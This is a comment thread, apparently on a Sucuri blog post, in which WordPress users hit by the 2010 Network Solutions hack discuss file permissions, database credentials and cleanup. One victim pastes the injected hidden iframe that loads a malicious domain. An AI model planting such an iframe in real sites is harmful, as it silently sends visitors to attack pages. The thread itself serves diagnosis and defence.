Details on the Network Solutions / WordPress mass hack

@anonymous: Yes, you have to configure your wp-config.php properly (750), so other users can't read it…

That's just awesome,

I think, wordpress should require users to get some VPS so those users could put a copy of their passwd on the webroot, chmod it to 777 and have something like webdav running, publishing the access details in "about this site" pages!

On a serious note though, this is a pretty good example of how security is treated like some sort of luxurious thing. Although, anyone can be blamed because everyone failed to take precautions discussed a zillions times, I think users (those who are just interested on publishing things without worrying about how his/her blog platform works) can't totally be blamed.

Users are only working with a tool provided by someone while someone else provides resources to keep that tool working. While user awareness its a desirable thing, the first thing that should be done is to avoid expecting the user to make security related decisions when there are others (e.g. developers, admins, etc.) in a better position to make things work in a secure way.

WordPress really should just refuse to run until it's config file is xx0. I suppose there are some situations where you'd want world-readable or world-writable, though. Such as if you have a dedicated host /and/ don't want to go through the setup burden of adding your user to the webserver's group, and don't want to su every time you edit the config file. Maybe an allow_unsafe_readable option that must be set if the config file is to be used while not xx0.

But your comment about the password being cleartext makes no sense. WordPress has to be able to read the password to connect to the database. If it were encrypted, the encryption key would also have to be available to wordpress, either predefined or specified by the user/created at setup. If it's predefined, the attacker could just download WordPress and learn the universal decryption key. If it were specified by the user or created at setup, it would be open to exactly the same permission problems and so just as available to the attacker as the clear-text password was. Either way, encryption would be nothing more than having to specify two passwords, both just as available to any attacker as the current cleartext, with a manual encryption step required for those editing the file directly, making the whole process more complex for nothing more than a false sense of added security.

This isn't a case of a server only needing to keep a hash for verification, wordpress is a database *client*, and needs to be able to access the true password if it's going to connect to the database.

how do I " run chmod 750 wp-config.php inside your blog directory "

I have two blogs on my site, and they've both been hit twice now. I logged in at NetSol and tried to change the passwords on the databases, intending to upload copies of the config files with the new ones and chmod-750 them, but the NetSol Database Manager control panel wouldn't put the changes through. I went ahead and fixed the access privileges on the current config copies on the server, but it's kinda pointless since the hackers already have the database user names and passwords.

Ah well. At least it's better than when I first signed up: back then NetSol didn't even give you access to the databases if you used their automatic blog installation function. If this had happened back then, I'd be completely dependent on their tech staff.

@Neal: You have to fix your database first (the wp-options->siteurl field). Send us an email dd@sucuri.net if you need more help.

@Hoop: you have to login via FTP to do that.

@Mike: You have to change it to be rw-rw—- (meaning no permission to the others).

Everyone else that needs a more direct help, just send me an email dd@sucuri.net (or via msn – same address).

are you sure adding the WP_SITEURL field matters? I tested this on a private install and if the SITEURL sql field changes, the site is junked up.

I think the WP_SITEURL only matters with respect to changing it in the admin panel.

1) Network Solutions default user name for your SQL account is illegal, so changing the password may look like it takes but it doesn't. Change your user name to not start with a number or have any underscores.

2) Change your wp_config.php permissions to 640.

3) Edit your wp_config.php to the new database user and password accounts

4) Check that you can access your site. You have to make sure you log out of your site and back in if you can't get to the admin pages.

rw- r– — leaves a question in my mind. So the file in question is owned by the "apache" user and group. Aren't all users on the site running as the "apache" user, in which case, they would still have permissions to not only read, but write to that file?

looks like binglbalts-dot-com may also be used in some way. It is housed at the same ip:

http://www.malwaredomainlist.com/mdl.php?search=64.50.165.169

I found this post after reading a tweet regarding it from NS. Interesting that all the customers were left to fend for themselves. I mentioned it to the same contact and wasn't advised the blog I manage could have been a victim.

The WP security scanning plugin used at the site had files suggested to chmod at 644. I changed wp-config to 750 after changing the db password.

I'm assuming the person who did this probably has the usernames and passwords of two other blogs that were not attacked so those will be changed as well.

I never found any modified files or new users with admin privs. What was changed in the db?

Was this person caught?

At drumpoint.org, a Coast Guard Auxiliary site, the hacker made a dialog box appear that told those connecting that their browser was old and gave a link to an "upgrade." If you clicked it you were sent to an attack site.

Google and stopbadware.org have marked our site as a hostile badware site. Google isn't moving very fast to correct this even after I verified the site and asked for a review. They say it can take up to two weeks. That's two weeks our reputation is damaged through no fault of our own. I did take steps to follow the security suggestions of the better plugins out there, read all the documents etc. Never read about chmod 750.

Is there anything else to do? Did the hacker create an invisible user that need to be deleted? How does one find one if one exists?

Doug Smith
fso-cs@drumpoint.org

I found this code in what was the first post at the time of first infection:

FOR IMMEDIATE RELEASE
eyeframe frameborder="0" onload=' if (!this.src){ this.src="http://binglbalts.com/grep/"; this.height=0; this.width=0;} '>eyeframe
Date: March 23, 2010

Contact: Danita Boonchaisri, Marketing/Communications Specialist

It looks like netsol change the site_url in the database already but this code remains. When I open the post to edit it this iframe line does not exist inside of it. How is it being inserted?

I changed the publish status of the post draft and the line is no longer on the front page of the blog.

To everyone:

If you can't change via the db, do this:

Via FTP download your wp-config.php.

Add this line (changing your site for your site )
define('WP_SITEURL', 'yoursite.com');

Upload the file back. Remove any cache you have and you will be set.

Sucuri:
I was able to change the siteurl db and have it take effect even when I had the WP_SITEURL thing in wp-config.php. Maybe I had something else going on.

Also to the guy who can't change the dbase password:
Another quirk on NetSol is you have to log out and in of your netsol account before changes take effect, however for user names just make a typical name and password to see you can do it:
mysql, mysqlpassword

Pretty sure you will be able to do it, but it is a very confusing panel. MY problem were the underscores and the first letter was a number

If you used the Network Solutions install of WordPress it configured the database user to a name that can't be used. When changing the password simply change the username, too. Just putting a random alpha at the beginning is sufficient, or you can change it completely. Of course, make sure you make the corresponding change in wp-config.php.

Network Solutions are telling us to wait out their engineering trying to solve the problem. I guess that sounds reasonable or not? What do you think.

The attacks are not limited to the Database. I took security measures to fix my security based on the information here (new db, new db credentials, locking down wp-config). This morning, my blog was simply not appearing. My browser gave a 404 error. Restored a prior version of the code, and it worked again. It appears the hacker is into the file system.

Hi Sucuri people,

My blog got infected too, but thankfully I found your blog!!

I implemented everything you suggested:

1. Changed the database username
2. Changed the database password
3. Chmoded wp-config.php to 750
4. Went to PHP MyAdmin and fixed the URL in wp-options->siteurl

Doing the above has allowed my blog to appear back to normal (instead of messed up).

However there's still one problem: I still can't login to the WordPress admin section!!

This is what happens:

1. I go to the WordPress admin login page:
(i.e: http://www.myblog.com/wp-admin).
2. I type in the username and password
3. I click on "Log In"

Normally, after doing the above 3 steps, I would be logged in, but instead, as soon as I hit the "Log In" button, the login page would appear to be loading for about 3 seconds, and then the page reloads and takes me back to the same login page again, with NO error message whatsoever. It just never lets me in, basically.

How do I fix this??

Thanks!

Awesome work on your role at getting this resolved quickly!

"This configuration file should only be read by Apache, but some users (well, lots of users) left it in a way that anyone could read it (755 instead of 750 in Linux slang)."

This would seem to be misinformation in most environments In what configuration would a PHP web script need to be executable?

"At WordPress for requiring that the database credentials be stored in clear-text."

What solution would you propose? What other CMS systems do this better?

"At WordPress again for not installing itself securely by default."

What solution would you propose? What other CMS systems do this better?

"WordPress, like all other web applications, must store database connection info in clear text. Encrypting credentials doesn’t matter because the keys have to be stored where the web server can read them in order to decrypt the data. If a malicious user has access to the file system — like they appeared to have in this case — it is trivial to obtain the keys and decrypt the information. When you leave the keys to the door in the lock, does it help to lock the door?"

MORE:

"A properly configured web server will not allow users to access the files of another user, regardless of file permissions. The web server is the responsibility of the hosting provider. The methods for doing this (suexec, et al) have been around for 5+ years."

When evaluating a "security expert." it pays to check their credentials. If they aren't programmers they're "posers." I'm seeing more and more of them everyday.

I'd like to hear more about this technology that makes clear-text keys unnecessary. I had one in my signature for 23 years, and to think all that time there was a better way to do it?

"I also have to agree with Network Solutions that this problem can happen at any shared host site."

Wrong. This can happen at any shared host site that doesn't correctly isolate user account spaces. NetSol did not adequately sandbox user account space which is what led to this problem.

With correctly sandboxed accounts, the wp-config could be set to permissions 777 (fully control by anyone) and still be safe.

With that said, it pays to be paranoid and the lesson here is to not trust a shared host to have set things up correctly and setting the most restrictive permissions is a good practice.

But this has nothing to do with WordPress and everything to do with NetSol inadequately securing their user account spaces.

I was a victim of the siteurl hack and while cleaning up I found a globalwat.com footer hack on my blog. Anyone know if the two are related?

So whats the bottom line here. Was this event an internal breach at NS? Are databases cleaned up now or is there a time bomb lurking on shared hosting servers that has infected everyone's sql database waiting to go off.

Some accountability please.

As a long time WordPress user, like some of the user comments here, I'm more than a little surprised at the wording in the article:-

#1 – "Wordpress stores the database credentials in plain-text at the wp-config.php file."

#2 – "So, at the end anyone can be blamed."

Like ALL PHP scripts (I'm the owner of more than a few), the database connection string is always held in clear text INSIDE a .PHP file. PHP files are only readable in their entirety by your account on the web server, IF it's correctly configured.

If you try entering the URL to the config file in your browser, you'll get a blank page and rightly so.

If the connection string was in a non-PHP plain text file e.g. wp-config.TXT, then you'd be able to see the database connection string.

And that's the whole point.

If the server is configured correctly, then no-one gets to see your DB connection string because it's tucked inside a .PHP file which only the web server on your account should be able to read.

What happened here is clear and simple.

A server misconfig.

Which brings us onto #2.

You can't blame the users for a server misconfig. And you can't blame the software for doing what ALL other items of software do in EXACTLY the same way.

I'll just say it again for clarity…

What happened here is clear and simple.

A server misconfig.

It's not a case of anyone can be blamed at all. WP is in the clear and the users are in the clear.

I can't understand how anyone could see it in any other way.

-Frank Haywood

I don't think anyone knows the problem. Sites on GoDaddy and Network Solutions were hacked again last night. Some of them had been hardened against attacks with all known fixes after last week's hacks.

Of course the above only works if they're using suexec/suphp or similar. If they're not doing that, their security is even more of a joke.

How about posting an update? NetSol owned up. Your turn?

http://blog.networksolutions.com/2010/wordpress-is-not-the-issue/

"WordPress is not the issue.

by Shashi Bellamkonda on April 14, 2010

We wanted to respond to the debate and conversations about the recent incident affecting Network Solutions’ WordPress customers. Recently, our customers have complained about malicious code on certain of their blogs hosted by Network Solutions. This was not an issue with WordPress. Sorry to the WordPress community and customers for any misunderstanding. This issue resulted from a complex combination of factors and we own it. We have taken steps to address this issue and we continue to work to protect our customers. Also we wanted to let you know that no personal or sensitive financial information was taken as a result of this issue.

We are learning from this experience. By the way, we like WordPress and continue to use it for a lot of Network Solutions properties such as this blog. Network Solutions customers that need any assistance feel free to email us at listen @ networksolutions.com"

^ So it shows you all fail at understanding Linux. So open a Linux textbook/manpage and read the part on Linux shell permissions.

As a word press user, I would recommend that the php file which stores all user name and passwords should not be made available to every wordpress user unless required by user itself.